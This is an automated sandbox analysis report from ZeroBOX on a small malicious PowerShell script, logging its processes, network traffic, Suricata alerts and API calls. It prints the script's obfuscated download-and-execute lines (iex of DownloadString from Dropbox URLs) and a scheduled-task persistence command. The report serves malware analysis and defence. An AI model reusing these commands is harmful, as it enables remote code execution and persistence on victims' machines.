Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	March 28, 2023, 8:13 a.m.	March 28, 2023, 8:19 a.m.

Size	434.0B
Type	ASCII text, with CRLF line terminators
MD5	`ab5fc61f3bff95a184793280a69fb709`
SHA256	`d71c0385451cfecea5be9e79d0bf567b2d9f72783481e7293023dafbdf4478ba`
CRC32	`10E4D2EB`
ssdeep	`6:jt2c0eG1zD5mNkSSLy6ewjt2cw1zD5abdkt9EEt8US9t2cc7FKbVFG+IUvsQmmuv:jZoUkhLy6ew9MydktzSnZF+nCde`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\script.ps1
2544
- schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 5 /tn TinyTaskmat /tr C:\Users\Public\clayemat.VBS
  2724

Name	Response	Post-Analysis Lookup
dl.dropbox.com	CNAME edge-block-www-env.dropbox-dns.com A 162.125.84.15	162.125.84.15

IP Address	Status	Action
162.125.84.15	Active	Moloch
164.124.101.2	Active	Moloch
45.33.6.223	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49171 -> 162.125.84.15:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49166 -> 162.125.84.15:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49170 -> 162.125.84.15:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49165 -> 162.125.84.15:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

No Suricata TLS

Queries for the computername (2 events)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW March 28, 2023, 8:14 a.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameW March 28, 2023, 8:15 a.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (14 events)

Time & API	Arguments	Status	Return
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: Exception calling "DownloadString" with "1" argument(s): "The underlying connec console_handle: 0x00000023	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: tion was closed: An unexpected error occurred on a send." console_handle: 0x0000002f	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: At C:\Users\test22\AppData\Local\Temp\script.ps1:2 char:56 console_handle: 0x0000003b	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: + i'e'x ((New-Object System.Net.WebClient).DownloadString <<<< ('https://dl.dro console_handle: 0x00000047	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: pbox.com/s/hcng2wn7gd3f1y3/codeexe.ps1?dl=0')) console_handle: 0x00000053	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x0000005f	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x0000006b	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: Exception calling "DownloadString" with "1" argument(s): "The underlying connec console_handle: 0x0000008b	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: tion was closed: An unexpected error occurred on a send." console_handle: 0x00000097	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: At C:\Users\test22\AppData\Local\Temp\script.ps1:6 char:56 console_handle: 0x000000a3	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: + i'e'x ((New-Object System.Net.WebClient).DownloadString <<<< ('https://DL.dro console_handle: 0x000000af	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: pbox.com/s/1uxmv7mp56cq1kn/bypass.ps1?dl=0')) console_handle: 0x000000bb	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x000000c7	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x000000d3	1	1

Uses Windows APIs to generate a cryptographic key (6 events)

Time & API	Arguments	Status	Return
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x05020d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x05020d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x05020d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x05020d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x05020d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x05020d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx March 28, 2023, 8:14 a.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (31 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory March 28, 2023, 8:13 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:13 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022bf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02249000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05790000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x057e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a62000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022b9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a63000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 262144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x062f0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x062f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x062f1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x062f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x062f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x062f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x062f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x062f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 69632 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x062fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0630b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0630c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0630d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05791000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05792000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05793000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05794000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05795000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:15 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x057e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a suspicious process (1 event)

cmdline

"C:\Windows\system32\schtasks.exe" /create /sc minute /mo 5 /tn TinyTaskmat /tr C:\Users\Public\clayemat.VBS

Looks up the Dropbox cloud service (1 event)

domain

dl.dropbox.com

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses March 28, 2023, 8:14 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (2 events)

Data received
Data received	F

Poweshell is sending data to a remote host (4 events)

Data sent	qmd"#hî¡c4²¿Òð[Fp«âó\|ö+±/5 ÀÀÀ À 28,ÿdl.dropbox.com
Data sent	qmd"#hÑãÑ&r[õV2Rº à:=#^®U¥-/5 ÀÀÀ À 28,ÿdl.dropbox.com
Data sent	qmd"#sûãíB£¸)èÍ3¦xQÓ)ûAh;;iÉÄ/5 ÀÀÀ À 28,ÿdl.dropbox.com
Data sent	qmd"#sÑî¡AO8Wõf`ÝÚ¨³ >Æ0¼»æ/5 ÀÀÀ À 28,ÿdl.dropbox.com

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

"C:\Windows\system32\schtasks.exe" /create /sc minute /mo 5 /tn TinyTaskmat /tr C:\Users\Public\clayemat.VBS

Communicates with host for which no DNS query was performed (1 event)

host

45.33.6.223

Installs itself for autorun at Windows startup (1 event)

cmdline

"C:\Windows\system32\schtasks.exe" /create /sc minute /mo 5 /tn TinyTaskmat /tr C:\Users\Public\clayemat.VBS

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (4 events)

Time & API	Arguments	Status	Return
send March 28, 2023, 8:14 a.m.	buffer: qmd"#hî¡c4²¿Òð[Fp«âó\|ö+±/5 ÀÀÀ À 28,ÿdl.dropbox.com socket: 1384 sent: 118	1	118
send March 28, 2023, 8:14 a.m.	buffer: qmd"#hÑãÑ&r[õV2Rº à:=#^®U¥-/5 ÀÀÀ À 28,ÿdl.dropbox.com socket: 1384 sent: 118	1	118
send March 28, 2023, 8:14 a.m.	buffer: qmd"#sûãíB£¸)èÍ3¦xQÓ)ûAh;;iÉÄ/5 ÀÀÀ À 28,ÿdl.dropbox.com socket: 1512 sent: 118	1	118
send March 28, 2023, 8:14 a.m.	buffer: qmd"#sÑî¡AO8Wõf`ÝÚ¨³ >Æ0¼»æ/5 ÀÀÀ À 28,ÿdl.dropbox.com socket: 1512 sent: 118	1	118

One or more non-whitelisted processes were created (1 event)

parent_process

powershell.exe

martian_process

"C:\Windows\system32\schtasks.exe" /create /sc minute /mo 5 /tn TinyTaskmat /tr C:\Users\Public\clayemat.VBS

The process powershell.exe wrote an executable file to disk (1 event)

file	C:\Windows\System32\schtasks.exe

script.ps1

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